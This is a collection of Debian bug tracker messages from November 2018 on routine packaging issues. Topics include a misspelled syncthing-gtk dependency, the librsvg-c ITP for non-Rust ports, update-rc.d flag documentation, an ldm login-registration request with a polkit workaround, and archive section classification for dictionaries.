  APT policy: (500, 'stable-updates'), (500, 'stable')
Architecture: amd64 (x86_64)
Foreign Architectures: i386

Kernel: Linux 4.9.0-8-amd64 (SMP w/4 CPU cores)
Locale: LANG=en_US.utf8, LC_CTYPE=en_US.utf8 (charmap=UTF-8), LANGUAGE=en_US:en 
(charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash
Init: systemd (via /run/systemd/system)

Versions of packages php-imap depends on:
ii  php-common   1:49
ii  php7.0-imap  7.0.30-0+deb9u1

php-imap recommends no packages.

php-imap suggests no packages.

-- no debconf information

Bug#913771: syncthing-gtk: unsatisfiable dependency on non-existent gir-1.2-glib-2.0

[Jelmer Vernooij]

Hi Steve,

On Wed, Nov 14, 2018 at 03:16:32PM -0800, Steve Langasek wrote:
> The syncthing-gtk package is uninstallable, because it depends on
> gir-1.2-glib-2.0, which does not exist.  The correct spelling of this
> package name is gir1.2-glib-2.0.  Please find a patch attached.
Argh, that was very sloppy of me. I should have known better than to
add that missing dependency after the sbuild. :(

Thanks for the patch!

Jelmer


signature.asc
Description: PGP signature

Bug#913766: ITP: librsvg-c -- the pre-Rust version of librsvg

[James Clarke]

On 15 Nov 2018, at 00:41, Michael Biebl  wrote:
> 
> Am 15.11.18 um 01:14 schrieb Michael Biebl:
>> Am 15.11.2018 um 00:15 schrieb Jeremy Bicha:
>>> On Wed, Nov 14, 2018 at 5:22 PM John Paul Adrian Glaubitz
>> 
> I don't have experience with archive management for non-release
> architectures at all.
 
 The problem that we have is that it's not possible to upload a package
 to Debian which does not build any binaries on the release architectures,
 the archive would be removed from the archive immediately.
>> 
>> Is that really true?
>> Fwiw, the consolekit package, before it was removed completely, was
>> !linux-any, ie. it was only built for non-release architectures.
>> 
> 
> Forgot to add: src:consolekit did not build any arch:all package.
> 
> If you say, that this should not be possible, why did this work for
> consolekit?

Because it's not non-release, it's non-ftp-master, and hurd/kfreebsd are on
ftp-master despite being very non-release.

James

Bug#874727: OSG changing VRML renderer away from coin3

[Manuel A. Fernandez Montecelo]

Em seg, 5 de nov de 2018 às 07:10, Sebastiaan Couwenberg
 escreveu:
> On 11/5/18 12:45 AM, Manuel A. Fernandez Montecelo wrote:
> > 2018-11-04 18:28 Christoph Berg:
> >>
> >> | Patches for both OSG packages have been submitted to use SGI Inventor
> >> | instead of COIN:
> >> |
> >> |  https://bugs.debian.org/912866 (openscenegraph)
> >> |  https://bugs.debian.org/912867 (openscenegraph-3.4)
> >
> > I am not totally opposed to that, and thanks to Bas for the patches.
> > But it looks to me that the proper solution is something like what
> > Bernhard posted just minutes before this message that I am replying to
> > (that perhaps Christoph didn't notice, due to the timing):
> >
> >  https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=874727#96
>
> Yes, the proper solution is to fix coin3. The OSG patches are meant as
> an interim solution to remove the coin3 dependency from the OSG packages
> and remove the threat of testing autoremoval.

I think that we're not in danger at this point, at least I cannot see
anything in the tracker.

If the situation becomes more urgent/critical (e.g. due to being
closer to the freeze) and I am not available to respond at that time
in a reasonable time (2 days to a week, whatever you judge
appropriate), please go ahead and fix it, unless co-maintainers (which
are main maintainers really) object to it in the meantime.


Thanks!
-- 
Manuel A. Fernandez Montecelo 

Bug#865548: bash-completion: completion for OpenRC rc-service

[Gabriel F. T. Gomes]

On 12 Nov 2018, Gabriel F. T. Gomes wrote:

>I suppose it would be OK to add --debug, --nodeps, --ifcrashed,
>--ifstarted, --ifstopped, --resolve, --dry-run, --version, --verbose.

I added these options (as well as the short options, such as -d, -h,
etc.) to the completions file.

I also removed the `valid_options' processing, because it caused
completions to not fully expand even when they were an exact match, for
instance:

  # rc-service --he[TAB][TAB]
  --he --help
  # rc-service --he[CURSOR]

when it should have been automatically expanded to:

  # rc-service --help [CURSOR]


I'll forward the original file with the changes upstream.


Thank you!
Gabriel

Bug#913774: ldm: should register login session with wtemp and utemp

[Wolfgang Schweer]

Source: ldm
Version: 2:2.18.06-1
Severity: wishlist
User: debian-...@lists.debian.org
Usertags: debian-edu


Hi vagrant,

on diskless workstations removable media can no longer be mounted due to missing
authorization.

As far as I was able to find out, it seems to be due to security related changes
to udisks. The UDisks2 policy requires a logged in user available via 'w' or
'who'. While workarounds¹ are possible, imo the proper fix would be if LDM
could register the login session with wtemp and utemp.

(The Debian Edu setup allows users to also login on a text console in parallel.
If done so, this login is registered with wtemp and utemp and then removable
media can be used in the gui session.)

Please check.

Thanks for maintaining LTSP for such a long time,

Wolfgang


¹Maybe patch /usr/share/polkit-1/actions/org.freedesktop.UDisks2.policy on the
 fly for each session via a script in init-ltsp.d, using:

--- a/org.freedesktop.UDisks2.policy2018-09-28 21:48:23.0 +0200
+++ b/org.freedesktop.UDisks2.policy2018-11-14 22:10:15.277057756 +0100
@@ -84,7 +84,7 @@
 挂载文件系统需要身份验证
 要掛載檔案系統需要先核對身分
 
-  auth_admin
+  yes
   auth_admin
   yes
 
@@ -165,7 +165,7 @@
 挂载文件系统需要身份验证
 要掛載檔案系統需要先核對身分
 
-  auth_admin
+  yes
   auth_admin
   auth_admin_keep
  

Bug#913766: ITP: librsvg-c -- the pre-Rust version of librsvg

[Michael Biebl]

Am 15.11.18 um 01:14 schrieb Michael Biebl:
> Am 15.11.2018 um 00:15 schrieb Jeremy Bicha:
>> On Wed, Nov 14, 2018 at 5:22 PM John Paul Adrian Glaubitz
> 
 I don't have experience with archive management for non-release
 architectures at all.
>>>
>>> The problem that we have is that it's not possible to upload a package
>>> to Debian which does not build any binaries on the release architectures,
>>> the archive would be removed from the archive immediately.
> 
> Is that really true?
> Fwiw, the consolekit package, before it was removed completely, was
> !linux-any, ie. it was only built for non-release architectures.
> 

Forgot to add: src:consolekit did not build any arch:all package.

If you say, that this should not be possible, why did this work for
consolekit?



-- 
Why is it that all of the instruments seeking intelligent life in the
universe are pointed away from Earth?



signature.asc
Description: OpenPGP digital signature

Bug#913773: dh-php: pkg-pecl.mk does not run extension tests during build

[Kunal Mehta]

Package: dh-php
Version: 0.34
Severity: wishlist
Tags: patch

-BEGIN PGP SIGNED MESSAGE-
Hash: SHA512

I was looking into porting php-luasandbox to fully build with pkg-pecl.mk, and
I noticed that it wasn't running the luasandbox tests during the package
build process.

I have provided a patch at 
.

Thanks,
- -- Kunal

- -- System Information:
Debian Release: buster/sid
  APT prefers unstable
  APT policy: (500, 'unstable'), (1, 'experimental')
Architecture: amd64 (x86_64)

Kernel: Linux 4.18.17-300.fc29.x86_64 (SMP w/4 CPU cores)
Locale: LANG=C, LC_CTYPE=C (charmap=UTF-8) (ignored: LC_ALL set to C.UTF-8), 
LANGUAGE=C (charmap=UTF-8) (ignored: LC_ALL set to C.UTF-8)
Shell: /bin/sh linked to /usr/bin/dash
Init: systemd (via /run/systemd/system)

Versions of packages dh-php depends on:
ii  debhelper   11.5.3
ii  liblist-moreutils-perl  0.416-1+b4
ii  perl5.28.0-3
ii  xml20.5-2

dh-php recommends no packages.

dh-php suggests no packages.

- -- no debconf information

-BEGIN PGP SIGNATURE-

iQJHBAEBCgAxFiEE+h6fmkHn9DUCyl1jUvyOe+23/KIFAlvsv68THGxlZ29rdG1A
ZGViaWFuLm9yZwAKCRBS/I577bf8ogGzD/9Tczv9fqT0Uufh46FO7JErFgeeCRMY
S249UynluTeBP2DLSNjnMvZsAYnSRoAwBkDm8HNOflLz/8h3FkhKzoC2auWDTLm4
nNv/mR7rN3L5ueDiw2KUV9GllBULKSd1PHJrdovdVlcuyBkoIDhs/3X/GkMBXI3c
G8uO2Q6q8JaIyUFIp0StgAHHMFJ2hSw7Wur1hVEAt5Uia5m7aVpWQ+mg86Tll4F2
dh87G/R1bcnqn/TqOEj9743y6yh4DAolL0XoEqWRwzeJvuFrXYeFweZkQIIoiGne
2Fdh7OahxdBnkyLoQAeCWdcdNNZzukXlxr8PDPpN43/i52bDlvkziVUHSUAOee75
9ByS0LSxeBlDrcwzVSskSxCqek4s4Ssr7d9TYH9MVjFjGFyCkAlsHJPvYf6K1hkT
sTICpqpPekhD0q2sNF9nFaFPvvKTuXWHqX2vRgoOqOVx1VaIpFMnzbufJMKYqD5V
9z0TW/osFakpYQmYgCJN3/+D34DXgEccQCKf/U4USLIZJLEfflrlDqtm9njZIpqy
1iEunvvlEHfO5/UU9xaHCRGuZVRGybIgsWvJ/8e0LqCn9+lqoNmBjrP1XTOrLVg7
pY+uaDAJa3W1WsdkzwSo2onasa844I6jeo0TADWYSyeW1CmiRY2DeoUOzTIZGMAP
WbFsBh1Xw1Tonw==
=WccA
-END PGP SIGNATURE-

Bug#584082: -f is actually enabled by default

[Felipe Sateler]

On Wed, Nov 14, 2018 at 7:15 PM Michael Biebl  wrote:

> [CCing debian-init-diversity which is planning to adopt insserv ttbomk]
>
> On Tue, 01 Jun 2010 11:15:17 +0800 jida...@jidanni.org wrote:
> > Package: sysv-rc
> > Version: 2.88dsf-7
> > Severity: wishlist
> > File: /usr/share/man/man8/update-rc.d.8.gz
> >
> > We read
> >-f Force removal of symlinks even if /etc/init.d/name still
> exists.
> >
> > However we find that indeed you might as well change that to
> >
> >-f [no-op, retained for backwards compatibility]
> >
> > or
> >-f Force removal of symlinks even if /etc/init.d/name still
> >exists [enabled by default]
> >
> > Proof:
> >
> > # sysv-rc-conf  --list cron
> > cron 0:off  1:off   2:on3:on4:on5:on6:off
> > # update-rc.d cron remove
> > update-rc.d: using dependency based boot sequencing
> > # sysv-rc-conf  --list cron #GONE:
> > cron
> > # update-rc.d cron defaults
> > update-rc.d: using dependency based boot sequencing
> > update-rc.d: warning: cron stop runlevel arguments (0 1 6) do not match
> LSB Default-Stop values (1)
>
> The -f parameter is mostly just passed along to insserv and causes it to
> ignore any potential dependency errors afair.
>
> If you could remove cron without issues, then this means no other
> service had a hard dependency on it.
>
> At least that's how I understand the meaning of -f.
> Felipe, is this correct?
>

Right. It is only passed on to insserv. Therefore it only has meaning when
initscripts is installed.


> If so, I guess the correct fix would be to update the documentation of
> the -f flag accordingly.
>

Agreed.

-- 

Saludos,
Felipe Sateler

Bug#913766: ITP: librsvg-c -- the pre-Rust version of librsvg

[Michael Biebl]

Am 15.11.2018 um 00:15 schrieb Jeremy Bicha:
> On Wed, Nov 14, 2018 at 5:22 PM John Paul Adrian Glaubitz

>>> I don't have experience with archive management for non-release
>>> architectures at all.
>>
>> The problem that we have is that it's not possible to upload a package
>> to Debian which does not build any binaries on the release architectures,
>> the archive would be removed from the archive immediately.

Is that really true?
Fwiw, the consolekit package, before it was removed completely, was
!linux-any, ie. it was only built for non-release architectures.

Why not just upload librsvg-c as regular any package.
Once it has passed NEW, I would make a second, source-only upload which
lists only the non-rust architectures and I'd ask ftp-masters for the
removal of the binaries on the rust architectures.

Michael


-- 
Why is it that all of the instruments seeking intelligent life in the
universe are pointed away from Earth?

Bug#882661: ITP: nplan -- YAML-based network configuration tool

[Andrej Shadura]

On Sun, 11 Nov 2018 23:34:43 -0500 073p...@gmail.com wrote:
> Nearly one year has passed since your ITP; is there any progress with
> it?
> 
> Since it's a long overdue, I will convert this ITP into RFP if there's
> no response after 2018-11-25. If there's any difficulties in dealing
> with this package, please also let me know.
> 
> Looking forward to your reply,

Thanks for pinging me. I will be uploading it to Debian later today.

-- 
Cheers,
  Andrej

Bug#913766: ITP: librsvg-c -- the pre-Rust version of librsvg

[James Clarke]

On 14 Nov 2018, at 23:15, Jeremy Bicha  wrote:
> 
> On Wed, Nov 14, 2018 at 5:22 PM John Paul Adrian Glaubitz
>  wrote:
>> 
>> Hi Jeremy!
>> 
>> On 11/14/18 10:52 PM, Jeremy Bicha wrote:
>>> As requested, this is librsvg reintroduced for ports that don't
>>> supported the rustified librsvg yet. The name is because this is
>>> librsvg written in the C programming language (instead of in Rust).
>> 
>> Thanks a lot for your effort and the initiative, I really appreciate
>> the idea. I also apologize for my harsh wording in the heated the
>> discussion we had. I'm very glad that this - as it is always the case
>> in Debian - is leading to a productive solution. Great!
>> 
>>> Currently, the packaging builds the same binary package names as
>>> src:librsvg. There was a suggestion to use different binary names with
>>> versioned Provides (against the existing librsvg binary package
>>> names). I'm not sure that provides much benefit but we can discuss
>>> that.
>>> 
>>> I don't have the ability to do the initial upload for this package
>>> since I don't have easy access to do the binary build required for
>>> ftp-master NEW.
>>> 
>>> I don't have experience with archive management for non-release
>>> architectures at all.
>> 
>> The problem that we have is that it's not possible to upload a package
>> to Debian which does not build any binaries on the release architectures,
>> the archive would be removed from the archive immediately.
>> 
>> I assume what we could do is maybe have a package that is built from
>> multiple sources so that it builds different binary packages for the
>> Rust and non-Rust targets.
>> 
>> I have CC'ed James Clarke and Adrian Bunk who might be interested in
>> this discussion as well and probably can maybe help in the process.
>> 
>> Again, thanks a lot for the efforts and sorry for my heated and
>> unprofessional behavior.
>> 
>> Thanks a lot!
>> Adrian
>> 
>> --
>> .''`.  John Paul Adrian Glaubitz
>> : :' :  Debian Developer - glaub...@debian.org
>> `. `'   Freie Universitaet Berlin - glaub...@physik.fu-berlin.de
>>  `-GPG: 62FF 8A75 84E0 2956 9546  0006 7426 3B37 F5B5 F913
> 
> Would an arch:all librsvg-c-doc package be sufficient for the "must
> build a binary package on a release architecture" requirement?

People might frown on it, but other source packages (ab)use this, and it
certainly works from a technical standpoint. I would hope there are no
objections to this approach. However, kfreebsd-* and hurd-i386 are on
ftp-master and don't (yet) have rust, so those will also keep the source
package around.

James

Bug#913772: pristine-tar: please add -S (sign commit) option

[Thorsten Glaser]

Package: pristine-tar
Version: 1.45
Severity: wishlist
Tags: security

Hi,

please add an option -S that will be passed through to the commit
so it’s signed as with “git commit -S”.

-- System Information:
Debian Release: buster/sid
  APT prefers unreleased
  APT policy: (500, 'unreleased'), (500, 'buildd-unstable'), (500, 'unstable')
Architecture: x32 (x86_64)
Foreign Architectures: i386, amd64

Kernel: Linux 4.18.0-2-amd64 (SMP w/8 CPU cores)
Locale: LANG=C, LC_CTYPE=en_GB.UTF-8 (charmap=UTF-8), LANGUAGE=C (charmap=UTF-8)
Shell: /bin/sh linked to /bin/lksh
Init: sysvinit (via /sbin/init)

Versions of packages pristine-tar depends on:
ii  libbz2-1.0  1.0.6-9
ii  libc6   2.27-8
ii  perl5.28.0-3
ii  tar 1.30+dfsg-2
ii  xdelta  1.1.3-9.2
ii  xdelta3 3.0.11-dfsg-1
ii  zlib1g  1:1.2.11.dfsg-1

Versions of packages pristine-tar recommends:
ii  bzip2 1.0.6-9
pn  pbzip2
ii  xz-utils  5.2.2-1.3

pristine-tar suggests no packages.

-- no debconf information

Bug#913766: ITP: librsvg-c -- the pre-Rust version of librsvg

[Jeremy Bicha]

On Wed, Nov 14, 2018 at 5:22 PM John Paul Adrian Glaubitz
 wrote:
>
> Hi Jeremy!
>
> On 11/14/18 10:52 PM, Jeremy Bicha wrote:
> > As requested, this is librsvg reintroduced for ports that don't
> > supported the rustified librsvg yet. The name is because this is
> > librsvg written in the C programming language (instead of in Rust).
>
> Thanks a lot for your effort and the initiative, I really appreciate
> the idea. I also apologize for my harsh wording in the heated the
> discussion we had. I'm very glad that this - as it is always the case
> in Debian - is leading to a productive solution. Great!
>
> > Currently, the packaging builds the same binary package names as
> > src:librsvg. There was a suggestion to use different binary names with
> > versioned Provides (against the existing librsvg binary package
> > names). I'm not sure that provides much benefit but we can discuss
> > that.
> >
> > I don't have the ability to do the initial upload for this package
> > since I don't have easy access to do the binary build required for
> > ftp-master NEW.
> >
> > I don't have experience with archive management for non-release
> > architectures at all.
>
> The problem that we have is that it's not possible to upload a package
> to Debian which does not build any binaries on the release architectures,
> the archive would be removed from the archive immediately.
>
> I assume what we could do is maybe have a package that is built from
> multiple sources so that it builds different binary packages for the
> Rust and non-Rust targets.
>
> I have CC'ed James Clarke and Adrian Bunk who might be interested in
> this discussion as well and probably can maybe help in the process.
>
> Again, thanks a lot for the efforts and sorry for my heated and
> unprofessional behavior.
>
> Thanks a lot!
> Adrian
>
> --
>  .''`.  John Paul Adrian Glaubitz
> : :' :  Debian Developer - glaub...@debian.org
> `. `'   Freie Universitaet Berlin - glaub...@physik.fu-berlin.de
>   `-GPG: 62FF 8A75 84E0 2956 9546  0006 7426 3B37 F5B5 F913

Would an arch:all librsvg-c-doc package be sufficient for the "must
build a binary package on a release architecture" requirement?

Thanks,
Jeremy Bicha

Bug#913771: syncthing-gtk: unsatisfiable dependency on non-existent gir-1.2-glib-2.0

[Steve Langasek]

Package: syncthing-gtk
Version: 0.9.4.2-1
Severity: grave
Tags: patch
Justification: uninstallable
User: ubuntu-de...@lists.ubuntu.com
Usertags: origin-ubuntu disco ubuntu-patch

Hi Jelmer,

The syncthing-gtk package is uninstallable, because it depends on
gir-1.2-glib-2.0, which does not exist.  The correct spelling of this
package name is gir1.2-glib-2.0.  Please find a patch attached.

I have uploaded this patch to Ubuntu, so that the package will be
installable there.

Thanks,
-- 
Steve Langasek   Give me a lever long enough and a Free OS
Debian Developer   to set it on, and I can move the world.
Ubuntu Developer   https://www.debian.org/
slanga...@ubuntu.com vor...@debian.org
diff -Nru syncthing-gtk-0.9.4.2/debian/control 
syncthing-gtk-0.9.4.2/debian/control
--- syncthing-gtk-0.9.4.2/debian/control2018-11-09 12:56:34.0 
-0800
+++ syncthing-gtk-0.9.4.2/debian/control2018-11-14 15:14:28.0 
-0800
@@ -11,7 +11,7 @@
 Package: syncthing-gtk
 Recommends: syncthing (>= 0.13), gir1.2-appindicator3-0.1
 Architecture: all
-Depends: ${python:Depends}, ${misc:Depends}, python-gobject | python-gi, 
python-dateutil, python-bcrypt, libgtk-3-0, gir1.2-gtk-3.0, gir-1.2-glib-2.0, 
gir1.2-notify-0.7, python-gi-cairo, gir1.2-rsvg-2.0
+Depends: ${python:Depends}, ${misc:Depends}, python-gobject | python-gi, 
python-dateutil, python-bcrypt, libgtk-3-0, gir1.2-gtk-3.0, gir1.2-glib-2.0, 
gir1.2-notify-0.7, python-gi-cairo, gir1.2-rsvg-2.0
 Description: GTK3-based GUI and notification area icon for syncthing
  A GTK3-based GUI for Syncthing that supports:
  .

Bug#913770: Wrong monitors labels in the selector

[Eduard Bloch]

Package: gddccontrol
Version: 0.4.4-1
Severity: normal

Hello,

I have two monitors attached right now, a dumb one without DDC/CI
support and some old Samsung (which surprisingly supports DDC/CI).

See below for ddccontrol scan results.

The problem is: in the pulldown menu of gddccontrol, I see them both but
they are labeled incorrectly.
I.e. the menu says:
dev:/dev/i2c-5: VESA standard monitor
dev:/dev/i2c-6: Samsung SyncMaster 710TM

When I select i2c-5 (supposedly the monitor w/o DDC/CI suppport) the
settings pane gets enabled and shows me the control options of the
Samsung monitor. And vice versa, selecting
"dev:/dev/i2c-6: Samsung SyncMaster 710TM"
disables the settings pane and shows the "Maybe this monitor was
disconnected"... dummy label.

IMHO the label formating of the "Current monitor" pulldown menu is
broken, the rest works.

Best Regards,
Eduard.

ddccontrol version 0.4.4
Copyright 2004-2005 Oleg I. Vdovikin (o...@cs.msu.su)
Copyright 2004-2006 Nicolas Boichat (nico...@boichat.ch)
This program comes with ABSOLUTELY NO WARRANTY.
You may redistribute copies of this program under the terms of the GNU General 
Public License.

Probing for available monitorsradeon_open: mmap failed: Invalid argument
I/O warning : failed to load external entity 
"/usr/share/ddccontrol-db/monitor/ENC1766.xml"
Document not parsed successfully.
...
Detected monitors :
 - Device: dev:/dev/i2c-6
   DDC/CI supported: No
   Monitor Name: VESA standard monitor
   Input type: Digital
 - Device: dev:/dev/i2c-5
   DDC/CI supported: Yes
   Monitor Name: Samsung SyncMaster 710TM
   Input type: Digital
  (Automatically selected)
Reading EDID and initializing DDC/CI at bus dev:/dev/i2c-5...

EDID readings:
Plug and Play ID: SAM0168 [Samsung SyncMaster 710TM]
Input type: Digital

= Samsung SyncMaster 710TM
> Color settings
> Brightness and Contrast
> id=magicbright, name=Magic Bright Mode, address=0xdc, 
delay=-1ms, type=2
  Possible values:
> id=text - name=Text, value=1
> id=internet - name=Internet, value=2
> id=entertain - name=Entertain, value=3
> id=custom - name=Custom, value=4
  supported, value=4, maximum=4
> id=brightness, name=Brightness, address=0x10, delay=-1ms, 
type=0
  supported, value=16, maximum=100
> id=contrast, name=Contrast, address=0x12, delay=-1ms, type=0
  supported, value=56, maximum=100
> Color maximum level
> id=red, name=Red maximum level, address=0x16, delay=-1ms, 
type=0
  supported, value=33, maximum=64
> id=green, name=Green maximum level, address=0x18, delay=-1ms, 
type=0
  supported, value=32, maximum=64
> id=blue, name=Blue maximum level, address=0x1a, delay=-1ms, 
type=0
  supported, value=32, maximum=64
> Various color settings
> id=colorpreset, name=Color Preset, address=0xe0, delay=-1ms, 
type=2
  Possible values:
> id=normal - name=Normal, value=3
> id=custom - name=Custom, value=0
> id=warm - name=Warm, value=1
> id=cool - name=Cool, value=2
  supported, value=0, maximum=3
> Others
> Restore defaults
> id=defaults, name=Restore Factory Defaults, address=0x4, 
delay=2000ms, type=1
  Possible values:
> id=default - name=Restore Factory Defaults, value=1
  supported, value=0, maximum=1
> id=defaultluma, name=Restore Brightness and Contrast, 
address=0x5, delay=2000ms, type=1
  Possible values:
> id=default - name=Restore Brightness and Contrast, 
value=1
  supported, value=0, maximum=1
> id=defaultcolor, name=Restore Factory Default Color, 
address=0x8, delay=2000ms, type=1
  Possible values:
> id=default - name=Restore Factory Default Color, 
value=1
  supported, value=0, maximum=1
> id=settings, name=Settings, address=0xb0, delay=1000ms, type=1
  Possible values:
> id=default - name=Settings, value=1
  supported, value=0, maximum=2
> OSD
> id=osd, name=On Screen Display, address=0xca, delay=-1ms, 
type=2
  Possible values:
> id=disable - name=Disable, value=1
> id=enable - name=Enable, value=2
  supported, value=2, maximum=2
> id=osd2, name=On Screen Display (Samsung), address=0xf5, 
delay=-1ms, type=2
  Possible values:
> id=disable - name=Disable, 

Bug#913679: kopete: libjingle-call keeps crashing

[Lisandro Damián Nicanor Pérez Meyer]

FWIW I also saw this behavior with (previously in experimental)
4:18.04.2-1, but  not with current experimental's 4:18.08.3-1. Note
that I do not use kopete, but just saw the bug and tried.

Bug#911026: ITP: manuskript -- open-source tool for writers

[Antoine Beaupré]

On 2018-11-14 12:55:40, Miriam Ruiz wrote:
> I forgot to mention, my packages are temporarily available at
> http://miriamruiz.es/debian/manuskript/  meanwhile, in case you want
> to have a look at them.

Awesome job. I gave it a quick shot and it seems to work well!

Thanks so much!

A.

-- 
To understand how any society functions you must understand the
relationship between the men and the women
- Angela Davis

Bug#913703: ola: protobuf build-dep requires tighter python-protobuf runtime dep

[Wouter Verhelst]

Hi Steve,

On Tue, Nov 13, 2018 at 11:24:56PM -0800, Steve Langasek wrote:
> This is a real bug in the runtime dependencies that is being detected via
> the autopkgtest.  I don't know why this failure never showed up in the
> autopkgtest results in Deian.

Probably because the autopkgtest in ola hasn't been around for very long
yet, and this looks like the first time there's an update that would
trigger it...

> I've uploaded the attached patch to ola to Ubuntu, to force a matching
> versioned dependency and build-dependency; however, it might be better to
> work with the protobuf maintainers to find a more complete solution for the
> runtime breakage.

Yeah, I'll do that.

-- 
To the thief who stole my anti-depressants: I hope you're happy

  -- seen somewhere on the Internet on a photo of a billboard

Bug#852746: also still exists

[Rebecca N. Palmer]

Control: reopen -1
Control: reassign -1 libllvm6.0
Control: found -1 1:6.0.1-9.2
Control: affects -1 src:pocl mesa-opencl-icd
Control: retitle -1 crash if multiple ICDs dynamically linked to LLVM
X-Debbugs-CC: pkg-opencl-de...@alioth-lists.debian.net

This bug still exists in LLVM 6.0 (and given the still-open upstream 
report, probably 7 and snapshot, though I haven't tried to verify that). 
 It now affects the mesa+pocl combination:


# apt-get install clinfo pocl-opencl-icd mesa-opencl-icd
$ clinfo
: CommandLine Error: Option 'limited-coverage-experimental' registered 
more than once!

LLVM ERROR: inconsistency in registered CommandLine options

A similar 'statically link to LLVM' workaround would probably work for 
them, but I haven't actually tried this.

Bug#584089: clarify warning: current situation, or (proposed) action

[Michael Biebl]

Am 14.11.18 um 23:17 schrieb Michael Biebl:
> Control: reassign -1 insserv
> 
> On Tue, 01 Jun 2010 13:52:48 +0800 jida...@jidanni.org wrote:
>> Package: sysv-rc
>> Version: 2.88dsf-7
>> Severity: wishlist
>>
>> Let's take a look at this warning
>>
>> # update-rc.d cron defaults
>> update-rc.d: using dependency based boot sequencing
>> update-rc.d: warning: cron stop runlevel arguments (0 1 6) do not match LSB 
>> Default-Stop values (1)
>>
>> 1. it is not clear if the warning is about
>>a. the situation on the disk before any action is taken
>>b. the proposed action
>>c. the situation on the disk after the action has completed
>>
>> 2. it is not clear if
>>a. a action was done
>>b. no action was done
>>
> 
> This warning comes from insserv. So reassigning accordingly.

To clarify, this warning is only issued if insserv is in use.
I therefor would like the insserv maintainers to decide what should be
done here.
Ideally provide a patch for update-rc.d for the desired behaviour and
then reassign back to init-system-helpers.



-- 
Why is it that all of the instruments seeking intelligent life in the
universe are pointed away from Earth?



signature.asc
Description: OpenPGP digital signature

Bug#913766: ITP: librsvg-c -- the pre-Rust version of librsvg

[John Paul Adrian Glaubitz]

Hi Jeremy!

On 11/14/18 10:52 PM, Jeremy Bicha wrote:
> As requested, this is librsvg reintroduced for ports that don't
> supported the rustified librsvg yet. The name is because this is
> librsvg written in the C programming language (instead of in Rust).

Thanks a lot for your effort and the initiative, I really appreciate
the idea. I also apologize for my harsh wording in the heated the
discussion we had. I'm very glad that this - as it is always the case
in Debian - is leading to a productive solution. Great!

> Currently, the packaging builds the same binary package names as
> src:librsvg. There was a suggestion to use different binary names with
> versioned Provides (against the existing librsvg binary package
> names). I'm not sure that provides much benefit but we can discuss
> that.
> 
> I don't have the ability to do the initial upload for this package
> since I don't have easy access to do the binary build required for
> ftp-master NEW.
> 
> I don't have experience with archive management for non-release
> architectures at all.

The problem that we have is that it's not possible to upload a package
to Debian which does not build any binaries on the release architectures,
the archive would be removed from the archive immediately.

I assume what we could do is maybe have a package that is built from
multiple sources so that it builds different binary packages for the
Rust and non-Rust targets.

I have CC'ed James Clarke and Adrian Bunk who might be interested in
this discussion as well and probably can maybe help in the process.

Again, thanks a lot for the efforts and sorry for my heated and
unprofessional behavior.

Thanks a lot!
Adrian

-- 
 .''`.  John Paul Adrian Glaubitz
: :' :  Debian Developer - glaub...@debian.org
`. `'   Freie Universitaet Berlin - glaub...@physik.fu-berlin.de
  `-GPG: 62FF 8A75 84E0 2956 9546  0006 7426 3B37 F5B5 F913

Bug#913723: please confirm that dictionaries should move to section localization

[Guillem Jover]

[ Sorry for the dupe! Resending to the correct bug number, the debbugs
  mboxes do not track cloned bugs. :/ ]

Hi!

On Wed, 2018-11-14 at 11:12:04 +0100, Sébastien Villemot wrote:
> Le mardi 13 novembre 2018 à 17:33 +0100, Jonas Smedegaard a écrit :
> > Quoting Sébastien Villemot (2018-11-13 16:34:05)
> > > Le mardi 13 novembre 2018 à 16:12 +0100, Jonas Smedegaard a écrit :
> > > > I consider lintian an _aid_ but not authoritative.
> > > 
> > > I tend to consider lintian authoritative when there is no “higher 
> > > source of law” (such as the Policy, DevRef, team policies…).
> > 
> > Ok, so we agree that Debian Policy is more authoritative than lintian.
> > 
> > Debian Policy states § 2.4 says this about section definitions:
> > 
> > > For more information about the sections and their definitions, see the 
> > > list of sections in unstable.

Actually the ones responsible for the archive sections, their definition
and contents are supposed to be the ftp-masters. My impression though is
that they have stopped caring about that for some time now. :/

And given the above, I've been trying sporadically to cleanup and
correct the overrides after the fact (after NEW processing which is
when the correct overrides used to be determined). I track that with:

  
  

should perhaps make that somewhat more visible, though. And in this
case I was meaning to send a mass override fixup after lintian got
the patch accepted, but it seems I forgot.

> > > The web page https://packages.debian.org/unstable/ says this about 
> > section "localization":
> > 
> > > Localization support for big software packages.
> > 
> > ...and this about section "text":
> > 
> > > Utilities to format and print text documents.

> > It seems sensible to me that hunspell dictionaries are treated as 
> > utilites to process text documents rather than localization support.
> > 
> > Localization is specific to mapping internationalization strings into a 
> > local context - purpos of a dictionary is far more general than that - 
> > and it seems all other maintainers of hunspell dictionaries besides you 
> > came to that same conclusion.

Actually I disagree with this characterization. Localization [L] is
not just translation, it's the entire task of adapting a project into
specific locales, be that with translations, image/media adaptation,
specific customs of the locale, such as telephone numbers, paper size,
or numeric notations, etc. In this case I see the spell checkers are
"text", because they *are* utilities (part of i18n) and the dictionaries
as "locatization" because they are definitely *not* utilities (they are
passive data :), and are relevant as part of the locale.

  [L] 

> On the other hand, the main usage of dictionaries is to correct
> spelling within the context of _localized_ text editors. So it's not
> absurd to consider that their main purpose is localization, though I
> agree that they may be used in other contexts.

I think any other context is still locale-specific, even if it's not
to spell check a text. :)

> FYI, bug #874121 contains the patch that implemented this lintian tag,
> but unfortunately it contains no justification for it.

Sorry, should have added one, I guess I thought it was obviously
correct at the time. :D

Thanks,
Guillem

Bug#584089: clarify warning: current situation, or (proposed) action

[Michael Biebl]

Control: reassign -1 insserv

On Tue, 01 Jun 2010 13:52:48 +0800 jida...@jidanni.org wrote:
> Package: sysv-rc
> Version: 2.88dsf-7
> Severity: wishlist
> 
> Let's take a look at this warning
> 
> # update-rc.d cron defaults
> update-rc.d: using dependency based boot sequencing
> update-rc.d: warning: cron stop runlevel arguments (0 1 6) do not match LSB 
> Default-Stop values (1)
> 
> 1. it is not clear if the warning is about
>a. the situation on the disk before any action is taken
>b. the proposed action
>c. the situation on the disk after the action has completed
> 
> 2. it is not clear if
>a. a action was done
>b. no action was done
> 

This warning comes from insserv. So reassigning accordingly.

-- 
Why is it that all of the instruments seeking intelligent life in the
universe are pointed away from Earth?



signature.asc
Description: OpenPGP digital signature

Bug#584082: -f is actually enabled by default

[Michael Biebl]

[CCing debian-init-diversity which is planning to adopt insserv ttbomk]

On Tue, 01 Jun 2010 11:15:17 +0800 jida...@jidanni.org wrote:
> Package: sysv-rc
> Version: 2.88dsf-7
> Severity: wishlist
